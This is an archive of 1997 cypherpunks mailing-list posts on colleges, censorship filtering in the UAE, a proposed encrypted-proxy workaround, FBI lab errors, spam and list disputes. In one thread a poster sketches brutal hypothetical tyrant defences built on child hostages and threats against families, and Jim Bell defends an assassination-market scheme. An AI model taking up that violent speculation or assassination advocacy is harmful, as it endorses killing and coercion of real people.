Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered E-Secure v1.1 0000000

iQCVAwUBMu++/49Co1n+aLhhAQEa/AP/b6LvLkII2itKK1L8kvOO7rk5qta3/7kV
lbB1r+cSakVGBaCpjI1tq6TmWP4H6bhP1atZX1V/yGlg6cFJx8chy6jgx3JO0Ium
6qJGsBWhSentsJfiMan13uflDLVBJ9JSEy/II5EIzxHPR88UBokal3R/XkHpkjwt
tOBF5Q9hFVU=
=pgtD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:42:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
In-Reply-To: <199701280126.RAA12277@toad.com>
Message-ID: <m28a2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> moscow state university in russia is not bad also.
> 
> they teach lots of theory... which is good.
> 
> 	- Igor.
> 

Do they have a master's program in computer science? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sqa@usa.net
Date: Wed, 29 Jan 1997 15:30:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: H                   E                          Y!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <199701292328.PAA25852@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

                                                                     $   $
                                                    $$$$$$$$$$$$$$$$$$$        
                                                $$                 $   $              $$
                                             $$                    $   $                  $
                                           $$                      $   $
                                         $$                        $   $      
                                        $$                         $   $                                         
                                        $$                         $   $  
                                          $$                       $   $
                                           $$$                    $   $
                                              $$                   $   $
                                                 $$                $   $
                                                     $$            $   $
                                                        $$$$$$$$$$$$$$$$$$$$ 
                                                            $$$$$$$$$$$$$$$$$$$$ 
                                                                     $   $                       $$
                                                                     $   $                         $$                                       
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:45:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: c2 internet accounts
In-Reply-To: <Pine.SUN.3.91.970128161842.10400E-100000@crl.crl.com>
Message-ID: <8e9a2D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:
> 
> > does c2net still offer internet accounts? I liked their
> > offer for internet accounts with a 5 mb web site via
> > telnet. does anyone else know of a place for cheap
> > telnet only accounts?
> 
> C2Net no longer offers new shell accounts and we are phasing out
> pre-existing accounts.  We still offer virtual web hosting.
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 
> 

Check out Sameer's net.scum web page for some important information on C2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Wed, 29 Jan 1997 12:38:00 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
In-Reply-To: <199701291458.GAA03382@toad.com>
Message-ID: <Pine.LNX.3.95.970129153447.14582A-100000@helix.cs.cuc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997 harka@nycmetro.com wrote:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.

Everytime someone sends a message through White House web site to the
president ( there is a comment form on the site ) it is scanned for
keywords. It probably happens on other key avenues as well.

Of course there are exceptions to every rule. I heard of a woman who wrote
to Clinton something like:
You are such a dynamite leader. I think you have such an explosive
personality, and I'm dying to meet you.

If you want to scan your E-mail, write a little perl script that takes a
list of keywords to scan for, and the action to take when the keywords are
found. It shouldn't be too hard.

-- Elliot                                 http://www.redhat.com/
"I'm a member of the Association of Federations of Linux Project
Initiators That Never Really Get Much Done (AFLPITNRGMD, for short)." 
			   Just do it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 29 Jan 1997 12:38:04 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Workaround for filtering/cybersitter
Message-ID: <199701292043.PAA12641@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text/plain


If I had experience with Netscape plugins and spare time, I'd
try it myself.  But here's my proposed solution.  

A plugin in Netscape intercepts all requests,  encrypt the URL
with a pubkey algorithm, encode the string base64, send it as GET input to
a proxy server.

The proxy server decodes and decrypts the URL, gets the requested page,
and returns it.  This beats out URL-based filtering.

Still need to figure out the specifics of key-exchange.  If we use
40-bit encryption, it's exportable, and it still works in our threat
model (ie. we don't care if the watchers figure out the URL a few hours
later).

To beat out dropping packets with unacceptable pattern in them, we
could use an SSL-based server as the proxy.

The plugin could even have a nice little on/off switch and a list
list of available proxies.

mark

-- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 29 Jan 1997 15:29:19 -0800 (PST)
To: frissell@panix.com (Duncan Frissell)
Subject: Re: Cats Out of Bags
In-Reply-To: <199701291856.KAA07395@toad.com>
Message-ID: <199701292348.PAA27392@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


	David Aaron seems to make lying out of his ass a hobby. His
talk at the RSA conference was such a load of bullshit it wasn't even
funny.

	"Other governments were upset with the 56-bit export
allowance. They said it was going to undermine their national
security."

-- Start of PGP signed section.
> "In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the industry's view that the U.S. efforts to control cryptographic technology are being outstripped by the pace of the technology.
> 
> "When I talk to other governments," he said, "they still don't feel that the cat is out of the bag."
> 
> What the fuck do *they* know?
> 
> DCF
-- End of PGP signed section, PGP failed!


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 29 Jan 1997 16:36:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701300036.QAA18048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:

>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful

This may be true, but the example was to show how easy a defensive line
could be thrown up around the powerful.  For example, conventional body
guards could be included, ones with no real pay but with the fore knowledge
that they will be buried with the tyrant.  These body guards could be ten
children out of each local village.  Merely a human shield.  In an attack,
they would scatter, but the parents would know that the children would die
if a successful action were taken against the tyrant.  Also, the tyrant
could put an open bounty on anyone caught trying to harm him.  Just bring
the decapitated head of the assassin along with a VHS cassette of the
attempted action for a big reward.  

By layering the defenses, it becomes increasingly difficult for anyone to
get through.

Obviously the castles walls are the first line of defense, so a reward is
given for anyone caught using any entrance to the fortress except those that
are provided.

The household is told that their participation will result in the
extermination of their families.  They are then told that if they know of an
impending action and fail to report it or attempt to stop it, they are
considered party it those actions.

A human shield of innocents is "given the privaledge to live in the fortress
with our great leader" so that actions by concerned parties is limited further.
A standing bounty is placed on the head of the assassin, who so ever brings
in the head of the assassin and all children parented by that person after
the assination will be given a reward of some set sum.  Probably 110%.

A bounty is set on security breaches, this bounty would probably be 110% of
the death mark on the tyrant.

A series of more conventional boobytraps are layed in normally inaccessable
areas, the layers of these either being prisoners who have unknowningly been
condemned to die, the tyrant himself, or some other disposable or trustable
deployment device.  The most common of these would probably be a mine field
between the two outer most walls of the fortress, and maybe a funnel-gun
parimeter inside of that.

An inner sanctum with self contained air, water, and food is maintained for
the tyrant and h[is/er] closest relatives/advisors.  This sanctum would be
accessed by biometrics and only used in a percieved emergency.

All dissent is declared illegal with capitol punishment for the mere
discussion of the impending death of the tyrant, exceptions to this would be
persons in the direct company of the tyrant with the tyrants full awareness,
and permission.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Wed, 29 Jan 1997 13:44:59 -0800 (PST)
Subject: "Meeks Unfiltered" on ISP-TV Wednesday nights
Message-ID: <199701292144.QAA16597@access4.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement:

        "Meeks Unfiltered"

*** Wednesday Nights   ***
*** 8:00 PM ET         ***

If you missed "Meeks Unfiltered" last week, you missed how easy it was to
intercept cell phone calls, the recent decision on the Phil Karn encryption
case, and electronic freedom in Hong Kong as it is taken over by China.

Don't miss "Meeks Unfiltered" this week!

Brock N. Meeks is the publisher of the 800,000 subscriber CyberWire Dispatch
electronic news service, and he brings his crusading style into real-time
Internet video with "Meeks Unfiltered." The live uncensored hour-long
show, produced and distributed through ISP-TV, explores cyberspace and
cyberpolitics Wednesdays at 8 PM Eastern Time. 

Call-in questions will be taken during the show at (301) 847-6571.  Tell
Brock and co-host Declan McCullagh what you think!

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://www.digex.net/isptv/members.html.

See URL http://www.digex.net/isptv for more information about the ISP-TV
Network

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Wed, 29 Jan 1997 15:46:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701292345.QAA14341@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phill" wrote:

>Society is not bound to put up with cranks and psychopaths.

Err, "Phill", how then do you see yourself fitting in?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: helpinghands@lgcy.com
Date: Wed, 29 Jan 1997 16:24:46 -0800 (PST)
To: info@try.net
Subject: Important information and instruction
Message-ID: <00153551800187@lgcy.com>
MIME-Version: 1.0
Content-Type: text/plain


You obviously have the power and _certainly- the right to delete this
unsolicited message. However, it _does_ contain information that will
be extremely valuable to you regardless of your current employment
situation so I admonish you to read it. Besides, it'll take less than 
one minute.

NOTE: I obtained your e-mail address from a personal search of
Internet ads using a variety of sources. It is not a generic purchased
list, but is highly targeted. It will also be used just one
time...THIS time. You need NOT send a "delete" or "remove" request nor
do any other such nonsense to _not_ receive mail from me again
regarding this information. 

If you have any interest at all in seeing how to _really_ do business 
on the Internet, I invite you to visit:

                   http://www.cyber-action.com/oed/number1.html

(If your e-mail program supports it, you can just double-click on the
URL above and your browser will take you there.)

Seeking home-based employment? Or _any_ employment? A career change? 
Something to assist you financially till your "boat comes in" with 
what you're currently doing?

Well, here're some valuable job-hunting sites on the Internet:

http://www.occ.com
http://www.monster.com
http://www.jobweb.org
http://www.human.resourcecenter.com
http://www.jobcenter.com

If you don't already have a text-file, online resume prepared, you 
might want to check out...

                http://lgcy.com/users/h/helpinghands/strmline.htm

...for a head-start on the process.

That's it. Hope this information serves you well.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 14:36:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bruce "Penis With a Blister on it" Taylor strikes again...
Message-ID: <v0300782daf1580f6c45c@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-Version: 1.0
Date:         Wed, 29 Jan 1997 17:19:03 -0800
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Robert Cannon <cannon@DC.NET>
Subject:      Members of Congress file CDA Amici Curiae Brief
To:           CYBERIA-L@LISTSERV.AOL.COM

Approximately 22 members of Congress filed an Amici Curiae brief with
the Supreme Court in Reno v. ACLY, the constitutional challenge to the
Communications Decency Act (this makes three known briefs filed so far
in support of the CDA).  The brief was filed on behalf of, among others,
Exon, Coats, Helms, Grassley, Hyde, and Goodlatte.  It was written by
Bruce Taylor and Cathleen A. Cleaver.  This brief can be accessed at
http://www.cdt.org/ciec/SC_appeal/970121_Cong_brief.html

Litigation update page:  www.cais.net/cannon/cda/cda-up.htm

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Wed, 29 Jan 1997 10:29:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI=LIE
Message-ID: <19970129175212.32434.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


>From http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html:
> The World Trade Center bomb was made of urea-nitrate, a compound
> that can be confused with non-explosive mixtures of the same
> ingredients. In an informal internal check of lab procedures, some
> senior FBI lab workers mixed human urine with fertilizer and added
> samples of that non-explosive mixture to the flow of material being
> tested by the chemistry unit. A manager in the chemistry lab
> identified the urine-fertilizer mixture as an explosive.

Just coincidentally, these errors imprison the innocent instead of
freeing the guilty.

> Still, Joseph E. DiGenova, a former U.S. attorney in Washington,
> said the issues raised in the report would allow defendants to
> contest lab findings against them and would permit people convicted
> of crimes to attempt to reopen their cases, based on the possibility
> of flawed forensic evidence.

> "It's going to be a royal pain in the neck for federal judges and
> prosecutors and a godsend for defense attorneys looking for a means
> of getting their clients off," he said

Why not "proving their innocence"?  A prosecutor - and one who does
not respect our legal tradition of presumed innocence - is not a good
choice for a quote here.

Nowhere in the entire article is there evidence that the reporters
talked to anyone outside the FBI/Justice Department milieu.

> Scientists at the lab said they were often stifled in a lab run by
> non-technical field agents who had little knowledge of science and
> who regularly altered reports to help prosecutors. But law
> enforcement officials said there was little evidence that anyone had
> been wrongly convicted based on improper lab work.

Why isn't this the story?  FBI agents regularly committed perjury, and
we see a story about lab errors.

Elliot Ness




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 29 Jan 1997 17:54:45 -0800 (PST)
To: rcgraves@disposable.com>
Subject: Re: AltaVista sprouts a hole ...
Message-ID: <199701300154.RAA02504@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 29 Jan 97 at 2:13, Rich Graves wrote:

> Yes, I mentioned that here and in comp.org.eff.talk a couple weeks
> ago. No need to turn images off. Just tell AltaVista you want
> text-only:
> 
>  http://altavista.digital.com/cgi-bin/query?pg=&text=yes
> 
> You may also find the text-only page a hell of a lot faster.

Funny you should mention this.  It's the only search engine I use, 
and it's the one on my "links" site.

http://www.slip.net/~cdr/kingmedia/links.html

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Wed, 29 Jan 1997 07:30:41 -0800 (PST)
To: <Lynx_User@linux.nycmetro.com>
Subject: Re: uae_1.html (UAE censoring Internet)
Message-ID: <199701291529.TAA02374@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


I've checked the filtering out already ... it's pretty extensive. Far, far
more than Singapore's 'hundred' or so pages. The granularity is such that
things like http://www.domain/~user/main may be passed, while a link from
that
page to a subpage may be blocked. I guess they can afford to do
this with so few users and little traffic. Never thought I'd be real
interested in how Net Nanny worked ... but I am now.

I'd be happy to hear from anyone with good ideas (or (accessible) pointers)
about how to minimize the effects of this stupidity ... :-(

Regards,

Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D		FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome.			Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.


----------
> From: Lynx_User@linux.nycmetro.com
> To: cypherpunks@toad.com
> Subject: uae_1.html
> Date: Tuesday, 28 January 1997 12:26
> 
> 
>                              Reuters New Media
>                                       
>    
>                     [ Yahoo | Write Us | Search | Info ]
>                                       
>    
>     [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
>                             Entertain | Health ]
>                                       
>      _________________________________________________________________
>                                       
>    Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
>    Next Story: Intel to Europe: Get Online Or Fall Behind
>      _________________________________________________________________
>                                       
>    Monday January 27 9:50 AM EST 
>    
> UAE Launches Service To Censor Internet
> 
>    DUBAI - The United Arab Emirates's monopoly Internet provider launched
>    a service Saturday to censor sites in cyberspace that breached local
>    moral values and traditions.
>    
>    Officials from state telecommunications company Etisalat said the new
>    Proxy Service would be compulsory for the UAE's 9,669 subscribers, who
>    will have to configure their web browsers that navigate the net by
>    February 2.
>    
>    "The service was launched today as part of our efforts to improve the
>    Internet service to our subscribers after lengthy study and research,"
>    said one official at Etisalat.
>    
>    "We were working on it before some official statements were made on
>    the need to control access to some sites on the service," he told
>    Reuters.
>    
>    The move follows repeated calls to regulate access to the Internet in
>    the conservative Gulf region, where most women are veiled, magazine
>    pictures revealing cleavage or bare legs are blacked out and
>    questioning the existence of god can be punishable by death.
>    
>    Some are worried about the spread of pornography as well as religious
>    and political material through the worldwide network of interlinked
>    computers.
>    
>    Last year, Dubai Police chief Major General Dhahi Khalfan Tamim
>    created a rare public row in the UAE saying the information ministry
>    and the police, rather that Etisalat, should be authorized to issue
>    Internet licenses as it was their job to monitor data coming into the
>    UAE and maintain security.
>    
>    Telecommunications experts say the Proxy Service will not be "fully
>    water-tight," but would help block access to known and unwanted sites
>    -- a list of which could be constantly updated.
>    
>    The proxy server will be pre-fed with Internet addresses where access
>    is blocked off, industry sources said. But the server will be unable
>    to block access if addresses of prohibited sites are changed, as
>    frequently happens.
>    
>    Etisalat says it will disconnect any customer who abused its Internet
>    services and violated "order and clear laws."
>    
>    "Singapore has succeeded to a great extent in its drive to control
>    harm done by the Internet," said another Etisalat official. "Why
>    cannot we?"
>    
>    Singapore government measures to regulate political and religious
>    content on the Internet and keep it free of pornography became
>    effective in July last year. They require all Internet service
>    operators and local content providers to be registered with the
>    Singapore Broadcasting Authority.
>    
>    Copyright, Reuters Ltd. All rights reserved

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=fHhI
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Wed, 29 Jan 1997 17:21:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Making OCR'ed code transfer easier
Message-ID: <2.2.32.19970130011914.00737930@dogbert.xroads.com>
MIME-Version: 1.0
Content-Type: text/plain


A month or two ago someone related their experience with OCRing code and
getting it to work; even when it compiled correctly there were still subtle
errors that he/she had to spend hours finding. With the recent threads on
OCRing the DES cracker I was thinking of ways to make it more foolproof
without going so far that the FEDs would get excited. 

If the author/publisher was to include a hash of the source code the person
doing the scanning would know when it was good without having to compile it
and then run it to discover there were still errors in the source. A hash
per page of code would be even easier as it would localize the errors to a
more manageable area, or even more sophisticated methods could be used to
localize any errors.

How far you could go in providing feedback on the correctness of the OCR
process without getting the FEDs all excited is the question.

Just a thought
miner






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 18:33:04 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701300232.SAA15330@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article 
<5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 

"I love you too!  B^)


Question:  What is a "whacko solution"?  Why do you believe AP qualifies?   
Can you list any other "solutions" which are, indeed, "solutions" which are 
NOT "whacko" by your definition?  (I'm trying to determine whether or not 
you even agree that there is a problem!)

Let me pose an issue here by counterexample:  Suppose there was a 
plantation, containing a master and his slaves.  You are told that the 
slaves are "unhappy". (They're unhappy because they're slaves!!!)  That's a 
"problem."  Okay, let me propose that there are at least two broad 
"solutions" to this "problem":  First, change the working conditions just 
enough to make the slaves acceptably happy.  Or, second, eliminate the 
slavery altogether.

Both are "solutions".  The first, obviously, is only a "solution" from the 
stanpoint of the master.  The second appears to be only a "solution" from 
the standpoint of the slaves, since the master obviously doesn't want to 
lose his slaves!  Could you legitimately call the second solution a "whacko 
solution"? (It would be, from the limited standpoint of the master.) How 
about the first?

That's the problem with using such a poorly-defined term as "whacko" to 
describe anything, particularly when many people don't agree.  And here's a 
question:  What do you mean by "credibility"?  I've explained it in enough 
detail to convince a rather substantial number of intelligent people that it 
is likely to be possible, and to some it sounds like it is desireable.  


>If anyone tried to set up such a market and a price went out
>on any of the heads of state fantasized about Mr Bell would be 
>dead as a doornail in a week.

A claim which doesn't disprove the functionality of AP one whit.  In fact, 
quite the opposite:  If AP was, indeed, non-functional, then nobody would 
bother with me at all.  The fact that you think they would shows that you 
believe AP threatens SOMEBODY.

This means that your arguments, as minimal as they are, are internally 
contradictory.  They simply don't hold together.






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Jan 1997 10:27:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Physician, Heal Thyself!
Message-ID: <199701291826.TAA02571@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



If I say I doubt this message will make into the "Approved By Sandy" list,
it perhaps will, but my very mention of this may mean Fearless Leader will
then chuck it into his Reject pile, but then....

Our Founder wrote:

#Silly things happen when one responds literally to an obvious
#metaphor.  (see, "analogy.")

See "sarcasm." Once again, Sandy flames, but calls it erudition. He uses
sophistry to explain why *his* flames are actually just "corrections".

#Nonsense.  Richard may have read my response on the Unedited list
#and Paul post on the Moderated list, but I sent my response to


#Nope, wrong again.  I referenced sophistry and hypocracy.  I
#leave the significance of the difference as an exercise to the
#student.  (Hint: one is an argument to the man, the other isn't.)

More pointless sarcasm. This is the stuff Sandy would presumably dump into
his "not fit for True Cypherpunks" pile, except that he wrote it, and so it
is by definition approved.

Utter hypocrisy.

#And wrong yet again.  Not a personal attack but commentary on
#wooly thinking.

Remember children, "If it comes from Sandy and appears to be a flame, it
really isn't. It is just a comment on "woolly thinking.""
 
#> One might wonder just what the rules of proper decorum are.

#One might read my posts on this point and pay attention.

And I urge our Enlightened Leader to take his own medicine. Stop flaming
the list and calling it mere commentary.

Xanthar


--


--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Wed, 29 Jan 1997 18:41:39 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290659.WAA21869@toad.com>
Message-ID: <Pine.LNX.3.95.970129193436.4661A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain


> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
 
...  Not to point out something obvious about this but the person who
wrote this did not have "guts" enough or, just likes his privacy a bit
more than the average person, to come out and write this non-anonymously.
But since that isn't why I am writing this, I'll leave off of it for now.
...
The reason I am writing this is because I am "the guy claiming MIT
required a 4.0 GPA and a 1600 combined SAT score."  I was informed this by
my school counselor, along with many other things which are as equally
"obnoxious" to my possible college acceptances.
--  I did point out though, in my letter, that my connection was
experiencing sever lag for some reason.  I did narrow that down to being
because my servers call in server and account server where on two
different networks.  
Another point to this is that in my family I am the best speller.  It is
possibly genetic, but it is mostly because of where I grew up and the
other "backwoodsy" things of my "youth".  Now I realise this sounds like a
bunch of excuses and such, and yes I guess it is, but I can if I sit down
and think about something for a milli second longer than normal, and don't
let my left hand out race my right hand, type things with propper grammer
and spelling to my current extent.

Now if the one who did post that "anonymously" would be so kind as to say
such "brave" statements outloud without his or her precious "anonymousity"
it would be much appreciated.

Other than that, I do believe that is about it to this later.

Goodnight and fare you "well"

Erp


ps -- please excuse the quotes, I was using them for mor eaccenting and
well for words that fit in my own way.  


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Check my poetry page if you would like to see more of my bad spelling and
horrendous grammer at:  http://www.digiforest.com/~erp/poetry.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Wed, 29 Jan 1997 18:48:38 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701292211.OAA13504@toad.com>
Message-ID: <Pine.LNX.3.95.970129195041.4661B-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ichudov@algebra.com writes:
> 
> > moscow state university in russia is not bad also.
> > 
> > they teach lots of theory... which is good.
> > 
> > 	- Igor.
> > 
> 
> Do they have a master's program in computer science? :-)

---  I looked up on Moscow State University the other day, after having
seen the message which brought this question.  So yes, they do have a
Master's program in Computer Science, at least they claim to have one.

Erp

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Wed, 29 Jan 1997 17:08:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701300108.UAA26140@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon 27 Jan, SpyKing queried:

> This is a little off topic but maybe someone can help. I've got a
> teenage son (HS sophomore) who's interested in majoring in computer
> science in college with a particular interest in cryptography. He's
> leaning toward MIT. Any suggestions from list members as to colleges
> to investigate? 

Avi Rubin at NYU has compiled a list of all security- and crypto-
related university courses that he is aware of.  The URL is:

http://www.cs.nyu.edu/~rubin/courses.html

(This was posted on sci.crypt a couple of weeks ago.)

Hope this gives a starting point,

Cynthia

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAwUBMu/0bpOg7xGCJGQtAQEEPgP8DIMqGqUmGWXtWWrQpv7OP+iIFxegwS9J
6+ZRg1OeB/ivLV2ZTvPbyZJ5a0zevrGIM4uPPjt2YQVLdpyZrpWm0TNPlPE4bgb8
hWEKkpfF8HVRF5jf4s80x3nhmtMzRLSSXy9L03f/m+I45l9HkTOQ4tX7U3WE42ea
9rGdR7SUm1U=
=qDPt
-----END PGP SIGNATURE-----
===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:10:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292348.PAA27392@gabber.c2.net>
